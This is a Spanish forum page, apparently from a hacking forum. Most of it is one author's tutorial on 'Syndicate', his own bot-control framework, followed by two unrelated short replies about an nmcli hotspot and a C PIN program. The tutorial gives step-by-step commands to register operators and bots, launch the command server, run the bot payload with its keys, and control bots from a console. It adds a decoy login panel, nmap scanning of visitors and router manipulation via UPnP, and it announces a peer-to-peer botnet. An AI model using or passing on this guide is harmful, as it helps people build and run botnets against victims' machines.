  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login: Quiero aclarar, a pesar de que la aplicación You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login es la que interectua con el servidor, no es más que una simple herramienta de pruebas, el conejo debajo del sombrero enrealidad es You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login; mientras que para controlar a los rook's sería You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login en este caso es You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Hablare de ésto, en otra sección.

Notas:

  • Tú, como administrador del servidor te debes encargar de repartir a personas de confianza el token de acceso, claro sí es qué desean usar los servicios públicos. No es aplicable si es un Jacob y tiene el permiso getToken, porque la puede obtener sin necesidad de perdirla.
  • El token de acceso se tiene que usar mayormente para Compatir un rook o usar resend.
  • En el caso de usar resend, tiene que usar además del token de acceso, la clave secreta.
  • Prefiero que usted usé You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y se comunique con el Evie que desee, para que tenga más seguridad en sus datos y sin limitaciones por parte de servidores externos. Aclaro ésto, porque así es la mejor manera de enviar claves secretas de forma segura. Hay otras alternativas, pero es bueno que uno mismo sea el propio servicio y no depender de otros.
  • Tenga absoluto cuidado con los números y caracteres de seguridad, pueden volver el proceso más lento, pero eso no es tan malo, porque si un atacante quiere hacer fuerza bruta, tiene que esperar a que el servidor genere el hash y luego verificar si es correcto o no. ¿Una maravilla no? :')
  • Sí quieres saber más acerca del algoritmo, puedes hacerlo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Funcionamiento de la Red:

Algunas veces es mejor dejar una simulación en vez de palabras, por lo tanto You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, podrá encontrar el cómo sería la red con todas las caracteristicas y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login el cómo sería cuando Jacob envía datos a través de varios nodos en diferentes países.

Nota: Aunque en esta demostración no explico como es el proceso en que se usan los datos encriptados, en la practica si pasa éso.

Ahora pasemos a la explicación: Es sencilla la red, hay que saber usarla y cuándo, pero para poder entenderla hay que crear desde un principio lo que necesitamos e ir aumentando a medida que vayan incrementando los conocimientos.

Primero crearemos un Jacob (Administrador de los Rook's):

Pero antes de hacer éso, quiero aclarar que algunas herramientas necesitan acceso seguro a la base de datos que está encriptada, por lo tanto sí usted no introduce los parámetros se le va abrir un pequeño formulario requiriendo los datos. Sí no me cree, mirelo usted o mejor aún Pruébelo:


Código: text

./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada>
* Datos para desencriptar la frase de contraseña *
  ----------------------------------------------

Ingrese la frase de contraseña:
: **************
Ingrese los caracteres de seguridad:
: abcdefghijklmnopqrstuvwxyz1234567890
Ingrese el número de iteraciones:
: 43
Ingrese el número de seguridad:
: 30
Ingrese el número de disminución:
: 18
Se guardo satisfactoriamente en -> conf/pass


Notas:


  • Lo que acabo de introducir se genera lento en mi computadora, usted tiene que introducir lo necesario para obtener una mayor seguridad pero que el proceso no se vuelva tan lento; al fin y al cabo usted decide.
  • Sí ejecutan alguna herramienta que requiera la información para desencriptar la base de datos, se guardará en vez de comparar en caso de que conf/pass no exista
  • Sí ejecutan alguna herramienta que requiera la información para desencriptar la base de datos, se guardará en vez de comparar en caso de que conf/pass no exista
  • conf/pass es guardado con permisos "444", por favor verifique que sea así con "ls -l conf/pass" o si no hagalo de forma manual: chmod 444 conf/pass una vez ha sido creada.


¿Ven?, sería tedíoso que tuviera que introducir todas esas cosas, mejor usamos los poderes de la linda terminal :'D:

Código: bash
# Primero veamos que regla estamos usando para guardar los comandos en el historial:
echo $HISTCONTROL
ignoreboth
# ¡Bien!, esa es la regla perfecta.
# Eso nos servirá para cuando introducimos un comando y no queramos que se guarde en el historial, ya que la idea es que no se registre una contraseña o algo sensible.
# Así que ahora guardemos lo que necesitamos en una variable
declare -x params='-db-passphrase <La frase de contraseña> -db-iterations <Iteraciones> -db-chars <Caracteres de Seguridad> -db-decrement-number <Número de disminución> -db-security-number <Número de seguridad>'
# Cómo pueden notar, usé un espacio antes de escribir el comando, para que no se almacene en el historial.
# Claro, pueden hacer éso o pueden crear un script y lo cargan usando "source" o ".", pero se los dejo para la casa...


Ahora simplemente puede ejecutar:

Código: bash
 ./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> $params


Código: text

-*- ¿Es correcta la siguiente información? -*-

Nombre de usuario       ::   <Nombre de usuario>
Frase de contraseña     ::   <Frase de contraseña>
Contraseña RSA          ::   <Frase de contraseña de la clave privada>
Iteraciones             ::   43
Número de seguridad     ::   30
Número de disminución   ::   18
Caracteres de seguridad ::   abcdefghijklmnopqrstuvwxyz1234567890
Privilegios             ::   ALL
Max. de bot's           ::   0 (infinito)
Tamaño de la clave      ::   2048
¿Root?                  ::   0
->


Debe introducir "1" para continuar o "0" para salir, aunque "CTRL-C", también ayuda.

Notas:


  • Sí no quiere que le confirme los datos, usé "-no-confirm".
  • Cómo puede observar, hay caracteres rellenados automáticamente, puede editarlos introduciendo los parámetros correspondientes cómo: "-i, --iterations" para las Iteraciones "-sn, --security-number" para el "número de seguridad", "-c, --security-chars" para los Caracteres de seguridad y "-d, --decrement-number" para el Número de disminución o puede editarlos en el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
  • Ser root no es lo mismo en Linux que en Syndicate, no se confunda; significa que todos los rook's ahora pertenecerán a todos los jacob's que son root, aunque esto es relativo, ya que si el maximo de bot's es mayor a "0" no se incluirá si llegó a su maximo.
  • Puede usar el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login para Syndicate, si desea saber cuanto puede durar la generación y la comparación de su Hash antes de salir al campo de batalla.

Esperamos unos instantes, y para confirmar que todo salío perfecto, ejecuté:

Código: bash
./addadmin.py -show $params



Ese comando le mostrará todos los Jacob's registrados.

Ahora pasemos a algo mejor. Creemos nuestro rook para un jacob:


Código: bash
 ./addbot.py -u <Nombre del rook> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> -a <Jacob/s> $params


Vemos un parámetro nuevo, "-a" o también podría llamarse "--admin". Si no razonaste correctamente, te digo que es para agregar a los Jacob's a el nuevo rook.

Notas:


  • Puedes crear tantos rook's para jacob's dependiendo del maximo de bot's
  • El parámetro "-a, --admin" es de tipo lista, lo que quiere decir que para agregar a más de uno, tienes que usar una "," (coma) y sí el nombre tiene espacios usa comíllas cómo apoyo. Ejemplo: --admin "usuario, soy un usuario, otro"

Eso no es todo, necesitamos configurar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login usando You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login mas los parámetros ya utilizados en anteriores herramientas.

Código: bash
./auto-config.sh $params


Usted vería cada Clave, Sub-Clave y Valor. Los segundos de duración por cada uno, varian dependiendo de sus recursos, esto se debe a que se está encriptado cada dato.

A pesar de que se muestre la configuración al finalizar, tal vez usted quiera apreciarla para un después. Lo puede hacer así:


./evie-config.py -print-configuration $params

Notas:


  • Aunque You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login es un script, la herramienta que tiene el poder de hacer esta mágia es You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, pero es mejor automatizar todo, para ahorrar tiempo.
  • Puede obtener más información del significado de las Claves, Sub-Claves y Valores desde el mismo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Ahora si que viene lo bueno

Ejecutamos You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login para iniciar el servidor:


Código: bash
 ./evie.py -P <Frase de contraseña de la clave privada> $params


Sí ejecutamos por primera vez, verá algo así:

Código: text
(00:33:04 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: El par de claves aún no son son generados ... generando ...
(00:33:04 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Tamaño a generar: "2048"
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: El par de claves fueron generadas ...
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: Desencriptando ...
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: ¡Clave desencriptada!
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando clave secreta ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Clave secreta generada -> b22f 34b4 1c48 b8dd dad3 dcfc d0b6 986d 081f 80f3 959d 3de0 1075 6ea1 dfc2 ad45
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando un nuevo token de acceso ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Token de acceso generado -> 8502382584368ce06c336c793750815f400697daaff7dc8244e849b75135d638
(00:33:12 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: No se encontraron los requerimientos necesarios para usar el protocolo de forma (más) segura. Usando HTTP ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Escuchando en :: http://0.0.0.0:8081/hmKReYEJrMWB8l48yvsENaLlMT1ijqIiU2nU6RGiKnanCZEkimT0lh2xW-xS1xYP6rJX1uWmxbp2bOeSVCCfJQ


No explicaré todo, porque hay cosas que son sencillas y otras ya las explique, pero sí que hay algo nuevo. ¿Qué deminios es esa ruta?; la ruta se genera de forma aleatoria y segura, puede usar los archivos de configuración para evitarlo, pero recomiendo que lo deje así.

Lo negativo de usar una ruta aleatoria es que si el servidor se "apaga" y se inicia nuevamente, tendrá otra ruta, lo que quiere decir que los Jacob's tendran que saberlo; es recomendable sólo cuando hay pocos Jacob's.

Ahora para que Evie tenga algún sentido en la vida, que tal si ejecutamos la You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, pero antes quiero aclarar algo que tiene que ver con los complementos, aunque aún no me adentraré en aguas turbulentas, por ahora estamos en la orilla del mar (Eso es en otra sección). Prosigamos:

Tenemos que tener en cuenta que los complementos necesitan requerimientos, cosa que mencionaré en la instalación, aunqué podemos edítar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login del payload y remover o agregar lo que necesitemos.

Bien, una vez aclarado, necesitamos la Clave Pública de Evie y la Clave Privada del Rook; La obtenemos de la siguiente forma:


Código: bash
./show_server_keys.py $params | more
...
Clave Pública:
...
Clave Privada:
...


Usamos "more" para delimitar la salida y ver lo que necesitamos, la clave pública. La seleccionamos, copiamos y la guardamos en una ruta segura, cómo "/tmp":

Código: bash
nano /tmp/<Nombre de la clave pública> # Una vez abierto "nano" pegamos la clave pública y la guardamos
...


Hacemos el mismo procedimiento, pero esta vez será para la Clave Privada del Rook:

Código: bash
 ./addbot.py -show -option keys -P <identificador del rook>:<Frase de contraseña para desencriptarla> $params


Nota: Puede asignarle permisos de escritura y lectura dependiendo de su usuario al par de claves para mayor seguridad.

Recordatorio: Cómo ve, deje un espacio para que no se guarde el comando en el historial

Esta vez vemos nuevos parámetros con argumentos interesantes:



  • -show: Mostramos los usuarios disponibles.
  • -option: Usamos una clave especifica para ver algo especifico de la información del usuario. Podemos usar el parámetro "-h, --help" para ver la ayuda dónde también nos mostrara las claves que acepta.
  • -P: La frase de contraseña de la clave privada, siguiendo la siguiente sintaxis: <identificador del rook>:<Frase de contraseña para desencriptarla>

Buscamos el rook y la clave privada desencriptada, hacemos el mismo procedimiento que hicimos con la clave pública de Evie

Código: bash
nano /tmp/<Nombre de la clave privada> # Una vez abierto "nano" pegamos la clave privada y la guardamos
...


Ahora sí, ejecutemos el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Código: bash
./payload.py -b <Identificador del Rook> -pass <Frase de contraseña del Rook> -a <Dirección de Evie> -p <Puerto> -pub-key <Clave pública de Evie> -priv-key <Clave privada del Rook> -proto <Protocolo, puede ser http o https> -sleep-check <Intervalos en que se hace una petición para ver si hay comandos en cola> -db-path <El nombre de la base de datos> -db-pass <Frase de contraseña de la base de datos>


Explico poco a poco lo que siento que pueden tener dudas:


  • -sleep-check: Rook hace una petición a el/los servidor/es para verificar si algún Jacob propuso un comando en cola cada intervalo de segundo determinado
  • -db-path: Los rook's tienen bases de datos que se almacenan en el directorio temporal del sistema operativo (encriptada, por supuesto), si no especificamos un nombre se genera de forma aleatoria y si ejecutamos otra vez el payload tendremos otra ruta aleatoria, por éso, es mejor especificarla.
  • -db-pass: La frase de contraseña para cifrar la base de datos

Nota: Puede usar el parámetro "-no-verbose" para que no imprima el resultado de alguna operación

Esto es una prueba, por lo que todo se hará por la consola, ya hablare sobre como usar la programación a nuestro favor.

Necesitamos interactuar con el Rook para ello ejecutamos You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.


Código: bash
./control.py $params


Puedes observar en las Las capturas de pantalla cómo se vería

Nota: Quiero aclarar que la aplicación es una DEMO, no es para entornos reales, por lo tanto no te sorprendas si no es igual de bonita que Vim ;).

Nos mostrara primero un panel de inicio de sesión, tenemos que rellenar los datos deacuerdo a lo aprendido

Al terminar de iniciar sesión lo primero que hará será enviar un comando "ping" para verificar si sus credenciales son correctas, luego enviara el comando "listBots" para obtener la lista de rook's que le pertenecen.

Sí ocurre un error puede ser por los siguientes motivos:



  • No tiene privilegios para listar rook's o ejecutar ping
  • Ingreso una ruta incorrecta
  • El servidor lo está bloqueando
  • El servidor no existe
  • Ingreso datos incorrectos
  • Faltan valores
  • No existe la clave pública o la clave privada

Eso es sólo unos cuantos motivos por lo que no podrá iniciar sesión, recuerde tiene que ingresarlos exactamente cómo se creó; exceptuando a iterations, porque si usted coloca un número mayor al verdadero pero los demás datos son correctos, no habrá problemas.

Sistema anti fuerza bruta:

El sistema anti fuerza bruta de Syndicate es sencillo, primero tendremos que comprender que es el Hash dinámico, cosa que ya explique en las aclaratorias.

En Syndicate al crear un usuario además de la información de perfil, existen algunos datos de seguridad, cómo son los Caracteres de seguridad, Número de seguridad, Número de disminución e Iteraciones; Los cuales su funcionamiento principal es generar un Hash. El hash puede tener el mismo dato (Como una contraseña), pero si se introduce cualquier dato diferente al resto de los datos de seguridad el Hash será diferente.

Mientras el proceso sea más lento, mejor en un buen sentido, ¿Por qué?, simplemente porque si un atacante quiere hacer fuerza bruta al servidor, obligatoriamente tiene que tener: El usuario, Frase de contraseña, Los datos de seguridad, La clave pública del servidor, la clave privada y la clave única inclusive.

De hecho otra cosa que es muy importante en cuanto a la seguridad es la Clave única que cambia cada vez que el Jacob al que le pertenece, inicia sesión.

Claro que eso no es todo, el atacante debe conocer la ruta del servidor que puede ser una aguja en un pajar.

Sumando todo esto, también nos vemos que en la configuración especificamente las claves honeypot y login vemos unas sub claves, como pueden ser:



  • Login:


    • max_retry: El maximo de intentos fallídos
    • retry_seconds: El tiempo de espera
    • denied_method: El método de denegación que pueden ser:
      • forIP: Bloquea a un usuario por dirección IP. Tiene sus pros y contras; entre sus pros puede ser que no es tan fastidioso, ya que si un atacante está bloqueado por dirección IP, nosotros (Los usuarios) podemos acceder cómo si no fuera pasado nada, pero entre sus contras, muy fácil de bypassear
      • forRetry: Bloquea a un usuario por el nombre en vez de la dirección IP. Es bueno porque así no se bypassea tan fácil, pero también nos bloquearía a nosotros.
  • honeypot: Si un dato coincide con lo requerido, se ejecuta una de estas operaciones:


    • user_agent_black_list: La lista para bloquear a un usuario por Agente de usuario
    • blacklist: La lista para bloquear a un usuario por Dirección IP
    • honeypot_list: En vez de bloquear ¿Qué tal si usaramos una herramienta cuando haya un coincidencia?; así es, por ejemplo podriamos usar nmap, cuando haya una coincidencia en la lista para escanear a ese usuario. *Necesitamos especificar las herramientas a usar en la clave tools *

Nota: También disponemos de expresiones regulares en todas las listas. Pueden ver más informacion en el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¿Eso es todo?... ¡NO!. Si ingresamos por la URL del servidor en nuestro navegador, vemos que nos salta una autenticación le digo que ese es el panel de control web falso, es mera distracción 3:).

De hecho trato de simular Apache en la información que se pueda obtener. Puedes editar los valores en el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y las plantillas en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


¿Segunda parte?

Lo mostrado anteriormente fue un poco de la documentación. Puede encontrar mucha más información acerca del proyecto, pero aún me falta mucho que redactar, así que poco a poco lo ire actualizando.

Respecto a la segunda parte tratara sobre cómo usar el proyecto para construir una Botnet Punto a Punto, cómo usar la red en cadena para comunicarse con otro Evie y está vez co-protagonizare esta pelicula con un compañero del foro .

Puede encontrar la documentación en mi repositorio, donde también podras descargar el proyecto: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Capturas de pantalla:

Inicio de sesión para los Jacob's:



Interactuando con un Rook:



Red en cadena:



Compartiendo un Rook:



Creador:

~ DtxdF (Jesús D. Colmenares)

Agradecimientos:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login: Gracias a tí, si estás leyendo ésto. Tú me ayudaste mucho con los complementos antes de que me surgiera la idea, es admirable que alguien dedique parte de su tiempo a escribir código a alguien que apenas sabe su nombre, pero mucho más a alguien que seguira aportando a este proyecto. Muchas gracias Kirari.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login: Gracias por aportar a la comunidad con su proyecto You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, gracias a él, muchos complementos de Syndicate existen.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login: Creador de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, una pequeña pero poderosa libreria para hacer desastres con el router usando UPnP :D. Gracias por compartirlo y por dar vida a una caracteristica especial de los rook's

Sí hay alguien que me falta, comunicame inmediantamente

Extras:

Le prometí a un compañero del foro "AXCESS", que le dedicaría un *Gato*, por mera diversión:



*El gato de AXCESS reaccionando sobre el post*

~ DtxdF
#879
Personalmente depende la magnitud del asunto.

Puede disponer de herramientas incorporadas dependiendo del SO/Distribución, cómo «nmcli» de LInux o «netsh» para Windows.

Un ejemplo para crearlo sería:

Código: bash

nmcli d wifi hotspot ssid <Nombre del punto caliente> password <Contraseña>


Para desactivarlo:

Código: bash

nmcli d disconnect <Interfaz> # Mayormente wlan0


Espero haberte ayudado...

- DtxdF
#880
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

No sé si esto le sirva; Modifiqué un poco de su código, sin usar "case", "default", "switch", aunque sí usé "break", le digo que sólo es para salir del bucle. Nada paranormal.

Código: cpp
#include <stdio.h>
#define True 1

int main(void)
{
    const int Nina = 2403;
    const int Escuela = 1234;
    const int Adam = 131199;
    const int Antonio = 201066;
    const int Ian = 240702;
    const int Cristina = 221167;

    int Pin;

    while (True) {
   
    printf("Ingresé el susodicho Pin:\n");
    scanf("%i", &Pin);

    if (Pin == Ian) {
   
    printf("Joven programador el cual aprecia los videojuegos y la eficiencia ante todo. Su mejor amigo se llama oliver\n");
   
    } else if (Pin == Nina) {
   
    printf("Nina. La gata de la familia. A veces cariñosa, a veces antipatica\n");
   
    } else if (Pin == Escuela) {
   
    printf("Es un Technisches Gymnasium con varias especializaciones. Ian acude a esta instalacion\n");
   
    } else if (Pin == Adam) {
   
    printf("Joven cocinero el cual aprecia los videojuegos y la cocina ante todo. No tiene amigos ya que se los comio\n");
   
    } else if (Pin == Antonio) {
   
    printf("Conductor de autobuses experimentado el cual aprecia la familia y los amigos. El conocimiento es poder. \n");
   
    } else if (Pin == Cristina) {
   
    printf("Ama de casa la cual ama a su familia y a sus seres queridos. El amor prevalecera\n");
   
    } else {

    printf("¡Debe ingresar un valor válido para poder continuar!\n");
    continue;

    }

    break;

    }
   
    return 0;

}


- DtxdF